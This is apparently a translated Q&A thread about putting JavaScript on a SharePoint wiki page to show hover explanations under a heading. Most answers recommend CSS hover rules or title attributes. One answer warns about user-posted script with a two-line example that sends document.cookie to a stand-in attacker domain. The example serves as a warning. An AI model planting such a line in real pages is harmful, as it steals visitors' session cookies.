wiki 管理者として、Sharepoint wiki ページにスクリプト (Javascript) を入力するにはどうすればよいですか?
タイトルを入力したいのですが、それをクリックすると、その下に小さな説明が表示されます。私は通常、JavaScriptでそれを行っていますが、他のアイデアはありますか?
10 に答える
wiki の作成者が賢明であれば、おそらくこれを行う方法はありません。
ユーザーが投稿した JavaScript の問題は、あらゆる形態の悪意のある者が無防備な者からデータを取得するための扉を開くことです。
仮に、evil-me が公開 Web サイトにスクリプトを投稿したとします。
i = new Image();
i.src = 'http://evilme.com/store_cookie_data?c=' + document.cookie;
これで、サーバー上のログに投稿された、ページへの各訪問者の Cookie 情報を受け取ります。そして、それは氷山の一角にすぎません。
あなたが wiki の管理者であり、これをクリックではなくマウスオーバーで表示したいと仮定すると、javascript はまったく必要ありません。そのままの CSS を使用できます。スタイルとマークアップの例を次に示します。
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title>Test</title>
<style type="text/css">
h1 { padding-bottom: .5em; position: relative; }
h1 span { font-weight: normal; font-size: small; position: absolute; bottom: 0; display: none; }
h1:hover span { display: block; }
</style>
</head>
<body>
<h1>Here is the title!
<span>Here is a little explanation</span>
</h1>
<p>Here is some page content</p>
</body>
</html>
いくつかの複雑なスタイルを使用すると、ツールチップ ボックスを好きなだけ見栄えよくすることができます。
私はCSSの答えが好きです。JavaScript の代わりに CSS を使用できる場合は、マークアップがより単純になります。
もう 1 つ確認すべきことは、Codeplex の SharePoint Enhanced Wiki Edition のコミュニティ キットです。ソースコードをダウンロードして、独自の機能を追加できます。または、フォーラムでこれを新機能として提案することもできます。
使用している特定の Wiki ソフトウェアに完全に依存します。私が見た方法は、js ファイルを別の場所でホストし、src 属性を持つスクリプト タグを含めることです。
それが許可されていない場合は、スクリプトを含むページに設定できる IFRAME を許可している可能性があります。2 番目の手法を使用すると、ホスト ページの DOM へのアクセスが許可されなくなります。
それはセキュリティ上のリスクのように聞こえます。ウィキ管理者がスクリプトをインストールできるようです。ウィキペディアのユーザー スクリプトを参照してください。
公開されている wiki に JavaScript コードを追加することはできません。自分でホストしている場合は、そのシステムで可能な場合は、誰かが設定を変更するのを手伝ってくれるように、特定のウィキ システムを要求する必要があります。
このサイトの Web ページの一部として Javascript を使用することについて話しているのであれば、それはできません。または、その問題に関する他の公開ウィキ - それはセキュリティ上のリスクです。
コード サンプルの投稿について話している場合は、テキスト ボックスの上にある [101010] ボタンをクリックしてください。
もちろん、話しているウィキエンジンによって異なります。ただし、ほとんどの場合、sblundy が言うように、Wiki ページで JavaScript を自由に使用できるようにすることはセキュリティ上のリスクになります。
任意のタグに追加title="text here"
すると、ホバーするとテキストが表示されます。
Internet Explorer は、alt="text here"
属性を使用するとテキストを表示しますが、これは標準に準拠していません。
<h2 title="some explanation here">headline</h2>
私は今テストしましたが、ウィキメディア (ウィキペディアが使用するもの) に基づく任意のシステムに追加できます。